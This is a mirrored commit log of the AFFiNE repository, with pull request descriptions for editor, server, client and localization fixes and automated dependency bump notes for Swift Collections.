mirror of
https://github.com/toeverything/AFFiNE.git
synced 2026-12-02 18:22:09 +03:00
2d97df19ddfd2ddf36c9fb487f07be67d4292bae
11568
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
2d97df19dd | chore: bump up all non-major npm dependencies | ||
|
|
9c316636e0 |
fix(server): discover CalDAV principals with PROPFIND (#15811)
fix #15482 #### PR Dependency Tree * **PR #15811** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved CalDAV account setup across server configurations, including servers that redirect discovery requests or use relative calendar links. * CalDAV connection errors for unauthorized or forbidden access are now surfaced without attempting fallback requests. * Calendar and event retrieval continues to work across supported discovery scenarios. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.11.9-canary.907 |
||
|
|
b4539cee35 |
feat(core): add Radix DirectionProvider for RTL support (#15214)
## What Mounts a `DirectionProvider` in `AffineContext` that feeds the current language's text direction to all Radix UI primitives. Adds an `rtl` flag to `LanguageInfo` (from `SUPPORTED_LANGUAGES`), with a colocated unit test. Part of #8966. ## Why Radix primitives read direction from React context, not from the document `dir` attribute. Since #14624, `document.documentElement.dir` correctly flips to `rtl` for Arabic/Persian/Urdu — but every Radix dropdown, popover and menu still hard-renders LTR internally. ## Notes for reviewers - `@radix-ui/react-direction` is pinned to the exact version the other Radix primitives resolve (`1.1.1`), not a caret range. A caret range resolves to a newer duplicate module copy, which means a different React context object — the primitives would silently ignore the provider. Verified at runtime both ways. - Portaled Radix content preserves React context, so portaled popovers inherit direction too. ## Testing - `yarn typecheck`, `yarn vitest run packages/frontend/core/src/modules/i18n` (3 tests) pass. - Verified in the running web app (Playwright + manual): with language set to العربية, the workspace selector popover and menus render `dir="rtl"`; English UI unaffected. |
||
|
|
1433ac7b35 |
fix(editor): malformed database cells at the read boundary (#15809)
fix #15746 #### PR Dependency Tree * **PR #15809** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Database cells with values that don’t match their property type now display the property’s default value instead of appearing empty or undefined. Valid values continue to display as before, and the stored cell value is not changed. This provides a more consistent display for affected cells while preserving existing behavior for valid data. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
a2d15841a5 |
fix(editor): handle empty column names in kanban view (#15807)
## Description Allows columns and tags with empty or whitespace names to remain visible and clickable in Kanban and Table views. - Display fallback `"Untitled"` label and placeholder when tag name is empty or whitespace. - Set minimum height on `SelectGroupView` tag pill to prevent height collapse. - Add unit test verifying fallback rendering. <img width="519" height="633" alt="image" src="https://github.com/user-attachments/assets/1fed7a72-5154-4dcb-a5f8-a7c6f6ac132f" /> Closes #15805 |
||
|
|
4ac16368e6 |
fix(core): keep fractional index keys below the next key (#15709)
## Description
`generateFractionalIndexingKeyBetween(a, b)` can return a key that sorts
after `b`.
When the subkeys of `a` and `b` share a prefix, the key is built as
`generateKeyBetween(a, b) + '0' + postfix()`. If `b` itself starts with
`generateKeyBetween(a, b) + '0'`, the order against `b` is decided by
the random postfix. For example, with `a =
Zz0KDAn9nhfbtFAOnyTqT45wXkV4SGW7XBh` and `b =
Zz10c5IY1TbnCK75NE22mfQEp2rpu6q1n6Z7`, `generateKeyBetween(a, b)` is
`Zz1` and the returned key was `Zz10UESACG9CHEXJNxgEDqhyCILR7N91EmcV`,
which is greater than `b`.
This is easy to reach from the UI helpers: `FolderNode.indexAt('after',
firstId)`, the favorites list, pinned collections, workspace properties
and table rows/columns all call it with their neighbours and sort with a
plain string compare. Starting from an empty list, adding one item
before the first and then repeatedly inserting right after the first
item breaks the order in 1000 out of 1000 runs within 20 inserts; the
inserted item ends up after its intended next neighbour.
The fix keeps stepping towards `b` with `generateKeyBetween(key, b)`
while `b` still starts with `key + '0'`, so the appended postfix can no
longer push the key past `b`. Each step lengthens the shared prefix with
`b`, so the loop ends. Both copies of the helper (`@toeverything/infra`
and `@blocksuite/affine-shared`) get the same change.
Proof: the added tests in `fractional-indexing.spec.ts` and
`fractional-indexing.unit.spec.ts` insert right after the first key 50
times, 100 rounds each. Before the fix both fail (`key < b` is false);
after, both pass across 5 reruns. I also fuzzed 1500 sequences of 200
inserts with mixed insertion strategies: 677 ordering violations before,
0 after, no throws.
v2026.11.8-canary.830
|
||
|
|
2e0f1156dd |
fix(editor): keep numbered list start number in markdown and html export (#15726)
## Description Closes #14098 When a numbered list doesn't start at 1 (for example it picks up at 3 after a paragraph or a code block), AFFiNE keeps that number in the list block's `order` prop. Importing markdown/html already reads the list's start number into `order`, but the markdown and html exporters never wrote it back, so the exported list always restarted at 1. This sets `start` on the exported markdown list / `<ol>` from the first item's `order` when it's above 1. Lists that start at 1, or older blocks without `order`, export exactly as before. I added a test for each exporter; the markdown one is the reverse of the existing "non consecutive numbered list" import test. PDF export already used `order`, so it wasn't affected. |
||
|
|
0276a74cb9 |
fix(journal): prefer the tighter match when suggesting week dates (#15768)
## Description `@next sa` gives me Next Sunday, same with `@last sa`. Saturday never shows up. The week loop returns the first alias that fuzzy-matches, and `nextsunday` is checked before `nextsaturday`. Since `fuzzyMatch` accepts any subsequence, `nextsa` finds an `s` and then an `a` inside "sunday" and stops there. Now it ranks the candidates instead of short-circuiting. A contiguous run beats a scattered subsequence, and month names compete on the same score, so `@no` reaches November instead of Next Monday. Ties keep the old order, so `@ns` still gives Next Sunday and `@nxtus` still gives Next Tuesday. Tests in `suggest-date.spec.ts`. The saturday cases and the november case fail on canary without the change. fix #15745 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Journal date suggestions now rank fuzzy matches, favoring prefixes over contiguous and subsequence matches. * Month matches can take precedence over weaker weekday matches. When suggestions tie, the earlier candidate is retained; for the tested query, this selects next Sunday. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
3ecd57ac3b |
fix(client): restore realtime subscriptions once per connection (#15803)
fix #15576 #### PR Dependency Tree * **PR #15803** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved reliability of real-time subscriptions during disconnects, reconnects, context changes, and concurrent requests. * Subscription updates are now routed to the matching topic and input, and canceled subscriptions are handled without disrupting other active subscriptions. * User-profile requests can resume after a disconnect and reconnect. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
a37334a150 | feat(server): improve order sync (#15802) | ||
|
|
ef401b20cb |
chore: bump up apple/swift-collections version to from: "1.7.5" (#15778)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [apple/swift-collections](https://redirect.github.com/apple/swift-collections) | patch | `from: "1.7.4"` → `from: "1.7.5"` | --- ### Release Notes <details> <summary>apple/swift-collections</summary> ### [`v1.7.5`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.5): Swift Collections 1.7.5 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.4...1.7.5) #### What's Changed - \[OrderedCollections] Resolve filename ambiguity with InternalCollectionsUtilities/UnsafeBitSet/\_UnsafeBitSet.swift by [@​lorentey](https://redirect.github.com/lorentey) in [#​805](https://redirect.github.com/apple/swift-collections/pull/805) - Bump swiftlang/github-workflows from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​802](https://redirect.github.com/apple/swift-collections/pull/802) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​803](https://redirect.github.com/apple/swift-collections/pull/803) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.16 to 0.0.17 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​804](https://redirect.github.com/apple/swift-collections/pull/804) - Document standalone macOS backdeployment requirements by [@​0xSixtos](https://redirect.github.com/0xSixtos) in [#​800](https://redirect.github.com/apple/swift-collections/pull/800) - \[DequeModule] Fix RigidDeque prepend example capacity and direction-word slips by [@​aashish254](https://redirect.github.com/aashish254) in [#​801](https://redirect.github.com/apple/swift-collections/pull/801) - Fix prepend(copying:) dropping items from multi-span sources by [@​awaisdev5765](https://redirect.github.com/awaisdev5765) in [#​796](https://redirect.github.com/apple/swift-collections/pull/796) - Review RigidDeque/UniqueDeque tests; add better tests for prepends by [@​lorentey](https://redirect.github.com/lorentey) in [#​806](https://redirect.github.com/apple/swift-collections/pull/806) #### New Contributors - [@​0xSixtos](https://redirect.github.com/0xSixtos) made their first contribution in [#​800](https://redirect.github.com/apple/swift-collections/pull/800) - [@​awaisdev5765](https://redirect.github.com/awaisdev5765) made their first contribution in [#​796](https://redirect.github.com/apple/swift-collections/pull/796) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.4...1.7.5> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODguMiIsInVwZGF0ZWRJblZlciI6IjQ0LjE4OC4yIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.11.7-canary.904 |
||
|
|
6b19f1c51b |
chore: bump image model support (#15798)
#### PR Dependency Tree * **PR #15798** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Image generation and the clay, sketch, anime, pixel, sticker, upscale, and background-removal actions now use an updated image model. Existing prompts and settings remain unchanged. * **Changes** * The OpenAI model `gpt-image-1` is no longer listed in the model catalog. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
b2c882c8de |
fix(core): retain chat drafts until runtime accepts the send (#15796)
fix #15708 #### PR Dependency Tree * **PR #15796** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Draft text and attachments are preserved when a message cannot be sent, including when preparation fails or another send is in progress. * After a send is accepted, submitted text and context are cleared while edits and attachments made during preparation are retained. * Draft updates are saved in order, and later edits continue to be saved even if an earlier save is delayed or fails. * Sending now waits for the chat to be ready, helping prevent input from being lost when a send cannot proceed. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
0e0f26f06b |
fix(mobile): doc visible loading (#15797)
fix #15774 fix #15707 #### PR Dependency Tree * **PR #15797** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved permission handling for mobile navigation. Linked documents are shown only when the user has read access, and denied access is handled consistently. * Document permissions are revalidated and reused across navigation views, reducing repeated checks. * Owners wait for document indexing before navigation references begin loading; users without access do not start that work. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
4db3ac8d6b |
fix(server): doc parse cycle (#15794)
#### PR Dependency Tree * **PR #15794** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Improved search reliability when documents are changing, including more consistent handling of invalid or incomplete document data. * Prevented overlapping scheduled search updates, helping keep background processing consistent. * Improved coordination between search projections and payment processing when both operate on document snapshots. * Search processing now better isolates failures, helping other documents continue to be processed and allowing recovery after source data changes. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
e1261c40bf | chore: bump deps (#15795) | ||
|
|
8bbbfcf078 |
fix(native): recover refresh attempts after response loss (#15792)
fix #15654 fix #15551 #### PR Dependency Tree * **PR #15792** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Session refreshes can now recover from interrupted requests using the same refresh attempt, including after an app restart. * **Bug Fixes** * Retrying a successful refresh no longer unnecessarily rotates tokens or invalidates the session. Invalid or mismatched retries continue to be rejected, while expired credentials are handled without revoking an otherwise valid session. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
3b41302757 |
fix(editor): preserve canvas input ownership in table selection (#15791)
fix #15770 fix #15605 #### PR Dependency Tree * **PR #15791** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Text insertion at the end of a table cell now produces the expected cell content while keeping the table selection consistent. * Selecting and clearing a table column no longer changes an unrelated canvas selection in edgeless mode. In page mode, clearing the column selection leaves the graphics selection empty. * These selection behaviors are verified in both page and edgeless modes. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
91ac3ca384 |
fix(editor): prevent code menu switches from toggling twice (#15782)
fix #15706 fix #15336 fix #15760 fix #15314 #### PR Dependency Tree * **PR #15782** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Fixed the code block’s wrap and line-number switches so their displayed states stay in sync with the selected settings. * Clicking a switch’s label or control now applies the setting consistently, and the menu remains open while toggling. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
149629dee8 |
fix(native): missing update date for doc (#15783)
fix #15466 fix #15467 #### PR Dependency Tree * **PR #15783** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
b2200d4b67 |
chore(i18n): complete zh-Hans translations for 0.27 (#15776)
### What changed
Adds the missing `zh-Hans` translations so the locale fully covers
`en.json`.
### Coverage
- Before: 2450 / 2604 keys
- After: 2604 / 2604 keys (100%)
### Areas covered
- AI BYOK settings: connect provider, model catalog, API dialect,
connection test, probe status
- Devices management: sign out, last used, load/sign-out failures
- Real-time connection errors (auth / network / server / timeout)
- Auth, Copilot and search error codes
- Mobile settings screens: account & data, experimental, plans, support,
empty states
- Invitation account-mismatch flow
- AI chat panel live-editor status lines, code block line numbers,
journal placeholder
### Notes
- Terminology follows the existing file: provider -> 服务商, sign out ->
登出, collection -> 集合, attachment -> 附件, workspace -> 工作区.
- Placeholders (`{{count}}`, `{{title}}`, `{{email}}`, `{{spaceId}}`)
are preserved.
- `zh-Hans.json` still carries 4 keys that no longer exist in `en.json`
(`com.affine.settings.workspace.byok.title-beta`,
`error.COPILOT_CONTEXT_FILE_NOT_SUPPORTED`,
`error.COPILOT_FAILED_TO_ADD_WORKSPACE_FILE_EMBEDDING`,
`error.COPILOT_FAILED_TO_MATCH_GLOBAL_CONTEXT`).
Left untouched to keep this diff focused; happy to remove them in a
follow-up.
- JSON validated; key parity with `en.json` re-checked after the edit.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## Summary by CodeRabbit
* **Localization**
* Added Simplified Chinese translations for AI chat tools, source
errors, authentication and sync messages, Copilot and search errors,
realtime connection failures, and invitation account mismatches.
* Expanded translations for Journal and mobile settings, account
deletion confirmation, code-block line-number preferences, BYOK model
and connection settings, device management, and mobile explorer empty
states.
* Kept the existing translation for comment-attachment quota errors.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
8cef09e1dd |
fix(client): windows static link (#15753)
fix #15728v2026.10.27-canary.909 |
||
|
|
fa653147d9 |
fix(server): accept custom-scheme referers in the worker endpoints (#15748)
## Description
`isRefererAllowed` compares `new URL(referer).origin`. For non-special
schemes that is the opaque string `"null"`:
```js
new URL('assets://./').origin // 'null'
new URL('capacitor://localhost/').origin // 'null'
new URL('file:///index.html').origin // 'null'
```
So a `Referer` coming from the desktop (`assets://.`), mobile
(`capacitor://localhost`) or legacy (`file://`) clients can never match
the allowed origins, although the same origins are accepted when they
arrive in an `Origin` header (`DESKTOP_CLIENT_ORIGINS` /
`MOBILE_CLIENT_ORIGINS`, merged into the worker's list since #15547).
Requests that carry only a `Referer`, such as `<img
src=".../api/worker/image-proxy?...">` loads, are rejected with `400
Invalid header`.
This serializes such origins as `protocol//host`, which is how a browser
writes them in an `Origin` header. http(s) referers are unchanged.
Refs #14865 (the `Origin` half of that issue is already fixed on
canary).
## Testing
- Added `plugins/worker/__tests__/headers.spec.ts`: http(s) referers,
custom-scheme referers from the list, custom-scheme referers not in the
list, invalid input.
- I could not run the full `ava` suite locally. The function was checked
in isolation with Node on the same cases (9/9).
## Not included
Allowing `image-proxy` requests that have neither `Origin` nor `Referer`
(bug 3 in #14865). That loosens the check and I could not confirm what
the Electron `<img>` loads actually send.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## Summary by CodeRabbit
* **Bug Fixes**
* Referer checks now correctly recognize allowed client origins using
custom URL schemes, alongside allowed HTTP and HTTPS origins. Unlisted
origins and invalid URLs continue to be rejected, helping ensure
requests from supported clients are handled consistently without
broadening access to unapproved origins.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
|
fa809e861b |
fix(client): auto-detect Linux password store before app ready (#15450)
## Summary - Detect Linux desktop/session environments before Electron app readiness and set a secure `--password-store` backend when Electron would otherwise miss it. - Prefer `gnome-libsecret` for GNOME-compatible desktops and common tiling/window-manager sessions that often run libsecret/gnome-keyring. - Prefer the appropriate KWallet backend for KDE/Plasma sessions, including KDE 5/6 detection, while respecting any user-provided `--password-store` flag. - Add unit coverage for Linux/non-Linux behavior, existing user flags, GNOME/libsecret desktops, tiling WMs, KDE/Plasma KWallet variants, colon-separated desktop values, and fallback session variables. ## Test plan - [x] `yarn vitest packages/frontend/apps/electron/test/main/secure-storage.spec.ts` - [x] Electron main-process related tests were run; relevant tests passed, with unrelated existing failures noted in `recording-feature.spec.ts`. - [x] Prettier, oxlint, eslint, and TypeScript checks passed for the modified Electron files. Closes: #15301 <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved secure password-store selection on Linux. * Added support for KDE/Plasma and GNOME-compatible desktop environments. * Preserves manually configured password-store settings and selects an appropriate fallback when needed. * **Tests** * Added coverage for Linux desktop detection, fallback behavior, session variations, and non-Linux environments. <!-- end of auto-generated comment: release notes by coderabbit.ai --> --------- Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com> Co-authored-by: donqu1xotevincent <vincent@toeverything.info> |
||
|
|
80e1c26815 |
fix(client): add aarch64 linux release (#15752)
fix #13701 #### PR Dependency Tree * **PR #15752** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **New Features** * Linux ARM64 builds on ARM64 hosts now use the native build path. * **Bug Fixes** * Improved updater handling of Linux ARM64 installer filenames so platform and architecture filtering can be verified for those packages. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
21e07b6635 |
fix(client): glibc version & linux secret store (#15751)
fix #15732 fix #15750 fix #15548 #### PR Dependency Tree * **PR #15751** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
83064df258 | fix(server): search table lock (#15749) | ||
|
|
5f19254997 |
chore: bump up apple/swift-collections version to from: "1.7.4" (#15741)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [apple/swift-collections](https://redirect.github.com/apple/swift-collections) | minor | `from: "1.6.0"` → `from: "1.7.4"` | --- ### Release Notes <details> <summary>apple/swift-collections</summary> ### [`v1.7.4`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.4): Swift Collections 1.7.4 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.3...1.7.4) This is a patch release shipping a number of bug fixes. #### What's Changed - Fix implementation of `InputSpan.removeAll()` by [@​glessard](https://redirect.github.com/glessard) in [#​766](https://redirect.github.com/apple/swift-collections/pull/766) - SortedSet: keep the existing member on insert, replace it on update(with:) by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​761](https://redirect.github.com/apple/swift-collections/pull/761) - \[SortedCollections] Check SortedSet's SetAlgebra conformance by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​758](https://redirect.github.com/apple/swift-collections/pull/758) - Check the set predicates and isEqualSet(to:) against plain sequences by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​759](https://redirect.github.com/apple/swift-collections/pull/759) - \[BitCollections] Check BitSet.Counted's BidirectionalCollection conformance by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​767](https://redirect.github.com/apple/swift-collections/pull/767) - Fix implementation of OutputSpan.\_consumeAll() by [@​glessard](https://redirect.github.com/glessard) in [#​775](https://redirect.github.com/apple/swift-collections/pull/775) - Bump swiftlang/github-workflows/.github/workflows/swift_package_test.yml from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​778](https://redirect.github.com/apple/swift-collections/pull/778) - Bump swiftlang/github-workflows from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​780](https://redirect.github.com/apple/swift-collections/pull/780) - Bump swiftlang/github-workflows/.github/workflows/soundness.yml from 0.0.15 to 0.0.16 by [@​dependabot](https://redirect.github.com/dependabot)\[bot] in [#​779](https://redirect.github.com/apple/swift-collections/pull/779) - \[BasicContainers] Fix RigidSet.hash(into:) never returning by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​768](https://redirect.github.com/apple/swift-collections/pull/768) - Add checkSetAlgebraMemberIdentity, a law checker for which equal member SetAlgebra keeps by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​769](https://redirect.github.com/apple/swift-collections/pull/769) - \[BasicContainers] Fix UniqueArray.append(moving:) dropping and leaking every element by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​776](https://redirect.github.com/apple/swift-collections/pull/776) - \[UniqueDeque] Fix prepend(from:) reversing batch order across producer passes by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​777](https://redirect.github.com/apple/swift-collections/pull/777) - \[BasicContainers] Fix returned range of replaceSubrange(\_:addingCount:initializingWith:) by [@​aashish254](https://redirect.github.com/aashish254) in [#​781](https://redirect.github.com/apple/swift-collections/pull/781) - \[BasicContainers] Fix RigidSet/UniqueSet batch insertion never terminating without the preview trait by [@​aashish254](https://redirect.github.com/aashish254) in [#​782](https://redirect.github.com/apple/swift-collections/pull/782) - \[BigString] Resync character breaks after removeSubrange by [@​sebxt](https://redirect.github.com/sebxt) in [#​784](https://redirect.github.com/apple/swift-collections/pull/784) - Saturate producer buffers by [@​lorentey](https://redirect.github.com/lorentey) in [#​789](https://redirect.github.com/apple/swift-collections/pull/789) - Fix nextSpan/previousSpan implementations by [@​lorentey](https://redirect.github.com/lorentey) in [#​793](https://redirect.github.com/apple/swift-collections/pull/793) - \[BorrowingMapProducer] Fix skip(by:) hanging at end of iterator by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​794](https://redirect.github.com/apple/swift-collections/pull/794) - \[OrderedCollections] Check the remaining Hashable conformances by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​792](https://redirect.github.com/apple/swift-collections/pull/792) - \[ContainersPreview] Add missing RigidSet+Extras.swift to CMake source list by [@​aashish254](https://redirect.github.com/aashish254) in [#​797](https://redirect.github.com/apple/swift-collections/pull/797) - \[BitCollections] Fix BitSet intersection doc examples for Range inputs by [@​aashish254](https://redirect.github.com/aashish254) in [#​799](https://redirect.github.com/apple/swift-collections/pull/799) - \[BitCollections] Fix BitArray.resizingShiftRight leaving stale bits by [@​aashish254](https://redirect.github.com/aashish254) in [#​798](https://redirect.github.com/apple/swift-collections/pull/798) - fix: guard InputSpan methods against nil base address in debug builds by [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) in [#​795](https://redirect.github.com/apple/swift-collections/pull/795) #### New Contributors - [@​SwastikTripathi](https://redirect.github.com/SwastikTripathi) made their first contribution in [#​777](https://redirect.github.com/apple/swift-collections/pull/777) - [@​aashish254](https://redirect.github.com/aashish254) made their first contribution in [#​781](https://redirect.github.com/apple/swift-collections/pull/781) - [@​sebxt](https://redirect.github.com/sebxt) made their first contribution in [#​784](https://redirect.github.com/apple/swift-collections/pull/784) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.3...1.7.4> ### [`v1.7.3`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.3): Swift Collections 1.7.3 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.2...1.7.3) This is a patch release resolving a correctness issue with `BitSet.Counted.isEqualSet(to:)`, improving test coverage throughout the library, and continuing the development of unstable interfaces. #### What's Changed - \[Heap] Add exhaustive permutations and duplicate-value coverage by [@​rksharma-owg](https://redirect.github.com/rksharma-owg) in [#​750](https://redirect.github.com/apple/swift-collections/pull/750) - \[BitCollections] Fix BitSet.Counted.isEqualSet(to:) rejecting sequences with duplicates by [@​kwy404](https://redirect.github.com/kwy404) in [#​749](https://redirect.github.com/apple/swift-collections/pull/749) - SortedSet: generalize set operations to arbitrary Sequences by [@​aniketatgithub](https://redirect.github.com/aniketatgithub) in [#​746](https://redirect.github.com/apple/swift-collections/pull/746) - \[SortedCollections] Check the BidirectionalCollection, Equatable and Hashable conformances by [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) in [#​742](https://redirect.github.com/apple/swift-collections/pull/742) - Build BigString in Embedded Swift - with a custom implementation of grapheme walking instead of using the stdlib by [@​parkera](https://redirect.github.com/parkera) in [#​752](https://redirect.github.com/apple/swift-collections/pull/752) - Revive configuration for Foundation toolchain module builds by [@​lorentey](https://redirect.github.com/lorentey) in [#​753](https://redirect.github.com/apple/swift-collections/pull/753) - Copy every source span in replaceSubrange(copying:) by [@​hamed75kazemii](https://redirect.github.com/hamed75kazemii) in [#​755](https://redirect.github.com/apple/swift-collections/pull/755) - 1.7.3: Clean up minor issues in build configuration by [@​lorentey](https://redirect.github.com/lorentey) in [#​756](https://redirect.github.com/apple/swift-collections/pull/756) - CMake: Enable UnstableContainersPreview and UnstableHashedContainers by default by [@​lorentey](https://redirect.github.com/lorentey) in [#​757](https://redirect.github.com/apple/swift-collections/pull/757) #### New Contributors - [@​rksharma-owg](https://redirect.github.com/rksharma-owg) made their first contribution in [#​750](https://redirect.github.com/apple/swift-collections/pull/750) - [@​kwy404](https://redirect.github.com/kwy404) made their first contribution in [#​749](https://redirect.github.com/apple/swift-collections/pull/749) - [@​aniketatgithub](https://redirect.github.com/aniketatgithub) made their first contribution in [#​746](https://redirect.github.com/apple/swift-collections/pull/746) - [@​hamed75kazemii](https://redirect.github.com/hamed75kazemii) made their first contribution in [#​755](https://redirect.github.com/apple/swift-collections/pull/755) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.2...1.7.3> ### [`v1.7.2`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.2): Swift Collections 1.7.2 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.1...1.7.2) This is a patch release shipping a few internal cleanups. - On Swift 6.4, the package is now built with strict memory safety enabled. (I don't expect to ever get rid of all `unsafe` keywords: safe data structures have to be built on top of unsafe allocator primitives, after all. But I do expect we will gradually move to using memory-safe constructs whenever it's possible to do so, and the keywords will serve as a helpful incentive for that.) - The package has now fully migrated its testing to rely on `package` access modifiers rather than `@testable import` or `@_spi` trickery. #### What's Changed - \[Xcode, CMake]: Build ContainersPreview as a standalone module by [@​lorentey](https://redirect.github.com/lorentey) in [#​744](https://redirect.github.com/apple/swift-collections/pull/744) - Stop using `@_spi` attribute and `@testable import` by [@​lorentey](https://redirect.github.com/lorentey) in [#​745](https://redirect.github.com/apple/swift-collections/pull/745) - Enable strict memory safety on Swift 6.4 by [@​lorentey](https://redirect.github.com/lorentey) in [#​747](https://redirect.github.com/apple/swift-collections/pull/747) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.7.1...1.7.2> ### [`v1.7.1`](https://redirect.github.com/apple/swift-collections/releases/tag/1.7.1): Swift Collections 1.7.1 [Compare Source](https://redirect.github.com/apple/swift-collections/compare/1.7.0...1.7.1) This is a patch release that ships a workaround for a Swift 6.4 defect that prevents code that uses the package from deploying before macOS/iOS 27 ([#​733](https://redirect.github.com/apple/swift-collections/issues/733)), alongside fixes for a handful of other 